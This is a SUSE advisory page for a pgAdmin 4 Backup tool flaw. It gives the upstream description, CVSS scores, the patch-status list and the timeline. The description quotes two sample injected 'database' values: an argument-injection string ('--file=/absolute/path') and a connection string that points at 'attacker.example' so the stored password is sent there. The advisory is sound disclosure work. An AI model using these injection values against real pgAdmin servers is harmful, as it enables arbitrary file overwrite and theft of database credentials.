Upstream information
Description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
SUSE information
Overall state of this security issue: Pending
This issue is currently rated as having important severity.
| CVSS detail | CNA (PostgreSQL) | SUSE |
|---|---|---|
| Base Score | 8.8 | 8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H |
| Attack Vector | Network | Network |
| Attack Complexity | Low | Low |
| Privileges Required | Low | Low |
| User Interaction | None | Required |
| Scope | Unchanged | Unchanged |
| Confidentiality Impact | High | High |
| Integrity Impact | High | High |
| Availability Impact | High | High |
| CVSSv3 Version | 3.1 | 3.1 |
| CVSS detail | CNA (PostgreSQL) | SUSE |
|---|---|---|
| Base Score | 8.7 | 8.5 |
| Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Attack Vector | Network | Network |
| Attack Complexity | Low | Low |
| Attack Requirements | None | None |
| Privileges Required | Low | Low |
| User Interaction | None | Active |
| Vulnerable System Confidentiality Impact | High | High |
| Vulnerable System Integrity Impact | High | High |
| Vulnerable System Availability Impact | High | High |
| Subsequent System Confidentiality Impact | None | None |
| Subsequent System Integrity Impact | None | None |
| Subsequent System Availability Impact | None | None |
| CVSSv4 Version | 4.0 | 4.0 |
Status of this issue by product and package
Please note that this evaluation state might be work in progress, incomplete or outdated. Also information for service packs in the LTSS phase is only included for issues meeting the LTSS criteria. If in doubt, feel free to contact us for clarification. The updates are grouped by state of their lifecycle. SUSE product lifecycles are documented on the lifecycle page.
| Product(s) | Source package | State |
|---|---|---|
| Products under general support and receiving all security fixes. | ||
| SUSE Linux Enterprise Desktop 15 SP7 | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | pgadmin4 | Affected |
| Products under Long Term Service Pack support and receiving important and critical security fixes. | ||
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP5 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP6 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | pgadmin4 | Affected |
| Products past their end of life and not receiving proactive updates anymore. | ||
| SUSE CaaS Platform 4.0 | pgadmin4 | Affected |
| SUSE Enterprise Storage 6 | pgadmin4 | Affected |
| SUSE Enterprise Storage 7 | pgadmin4 | Affected |
| SUSE Enterprise Storage 7.1 | pgadmin4 | Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | pgadmin4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | pgadmin4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | pgadmin4 | Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | pgadmin4 | Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | pgadmin4 | Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP1 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP1-BCL | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP1-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP2 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP3 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | pgadmin4 | Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | pgadmin4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | pgadmin4 | Affected |
| SUSE Manager Proxy 4.0 | pgadmin4 | Affected |
| SUSE Manager Proxy 4.1 | pgadmin4 | Affected |
| SUSE Manager Proxy 4.2 | pgadmin4 | Affected |
| SUSE Manager Proxy 4.3 | pgadmin4 | Affected |
| SUSE Manager Proxy LTS 4.3 | pgadmin4 | Affected |
| SUSE Manager Retail Branch Server 4.0 | pgadmin4 | Affected |
| SUSE Manager Retail Branch Server 4.1 | pgadmin4 | Affected |
| SUSE Manager Retail Branch Server 4.2 | pgadmin4 | Affected |
| SUSE Manager Retail Branch Server 4.3 | pgadmin4 | Affected |
| SUSE Manager Retail Branch Server LTS 4.3 | pgadmin4 | Affected |
| SUSE Manager Server 4.0 | pgadmin4 | Affected |
| SUSE Manager Server 4.1 | pgadmin4 | Affected |
| SUSE Manager Server 4.2 | pgadmin4 | Affected |
| SUSE Manager Server 4.3 | pgadmin4 | Affected |
| SUSE Manager Server LTS 4.3 | pgadmin4 | Affected |
| openSUSE Leap 15.3 | pgadmin4 | Affected |
| openSUSE Leap 15.4 | pgadmin4 | Affected |
| openSUSE Leap 15.5 | pgadmin4 | Affected |
| openSUSE Leap 15.6 | pgadmin4 | Affected |
SUSE Timeline for this CVE
CVE page created: Fri Sep 18 16:03:39 2026CVE page last modified: Fri Sep 18 17:48:18 2026